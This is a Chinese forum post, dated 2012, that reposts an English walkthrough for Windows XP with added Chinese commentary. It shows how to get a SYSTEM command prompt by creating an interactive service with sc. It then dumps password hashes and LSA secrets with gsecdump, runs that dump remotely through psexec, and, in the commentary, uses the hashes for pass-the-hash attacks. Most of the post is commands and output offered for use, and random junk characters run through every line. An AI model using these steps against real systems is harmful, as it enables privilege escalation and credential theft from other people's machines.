o get a DOS Prompt as NT system:4 I% B; N0 m5 j6 u1 J3 K; v
, _/ s; J4 n* Y3 Z
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact0 N, Q" `% p0 }
[SC] CreateService SUCCESS; W4 W( B" s' y) J) H/ R8 x
7 @5 k7 r( v# P0 PC:\>sc start shellcmdline
( x+ ]# {+ y9 c: b5 A" \. o[SC] StartService FAILED 1053:' \. v- n) M+ G* Y: \5 A
c4 e! J% ?! N4 A; n6 w. P- [
The service did not respond to the start or control request in a timely fashion.; H" H4 S4 t+ L7 e1 `! c2 ~% z
; ]# j2 }3 M Y* g( v- a
C:\>sc delete shellcmdline
% _, B. S1 F/ f[SC] DeleteService SUCCESS
" l) @" p, S# @6 t6 {; `) R; q$ s6 g
------------
, ^: D g/ a8 Q2 o: V: ]
( D5 ?& Q7 T, D G2 y2 L) U. hThen in the new DOS window:# b: x( Q+ X- v+ E% e
" c6 o( ?# o& |6 @0 P
Microsoft Windows XP [Version 5.1.2600]
3 [' i1 O; B K& A( _. }6 }6 |* o(C) Copyright 1985-2001 Microsoft Corp.
0 \2 m# d1 M: d) a$ o/ i; D' @4 c
C:\WINDOWS\system32>whoami' g, J! ~: {4 ?1 b: `3 J
NT AUTHORITY\SYSTEM+ }# n! u9 B: R' C7 D, o* V
: c- ?0 A& k) z5 r6 \5 fC:\WINDOWS\system32>gsecdump -h, a1 B1 t, }9 z* U
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)* q( S2 M$ ?1 ]% [
usage: gsecdump [options]- N F! D( C" }5 L' W, ]
5 F& l* Y W4 W1 b1 N7 z4 N* ]options:& M9 z" w; l$ f8 _6 y
-h [ --help ] show help
2 p3 a" j, _0 x# |3 E4 ^; a( u-a [ --dump_all ] dump all secrets
* D h5 Q7 K; ^) f-l [ --dump_lsa ] dump lsa secrets4 V$ u8 H' G+ W. p
-w [ --dump_wireless ] dump microsoft wireless connections1 j% l$ r* m* C; d( b/ B$ a
-u [ --dump_usedhashes ] dump hashes from active logon sessions6 n, y' F3 @5 V, Y% B( s
-s [ --dump_hashes ] dump hashes from SAM/AD9 c9 }0 d5 m/ O& [! Y0 l# M
! V- [& t9 m X6 G+ i VAlthough I like to use:
+ Q/ L' [' H# U# e% R( d& z" x s
PsExec v1.83 - Execute processes remotely; S/ ~$ A) A/ D! r5 c
Copyright (C) 2001-2007 Mark Russinovich
" G9 @# v3 u# \$ [1 C8 lSysinternals - 链接标记[url]www.sysinternals.com[/url]% {' a! h& `4 c
' s6 X8 E( ]4 |C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT" U" ^) y) f: Y/ C! O: y
: p |0 j" } eto get the hashes from active logon sessions of a remote system.
9 K) i6 D+ H4 q7 [. }2 Y# ^$ |& ?' e" p. \( b2 N# j6 A4 }
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.- P4 [9 Q$ K+ r* N
) [& L; n# |* n& T+ n# i提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
( t& t- e& J. U2 K4 C( Q p原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]7 H( ]5 l) @" c8 A3 l' i" f
! X* h+ k( ^2 y2 `8 M我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。& K+ t* ]) |" J4 D! K! z/ F7 E
|
发表于 2012-11-6 21:09:29
收藏
支持
反对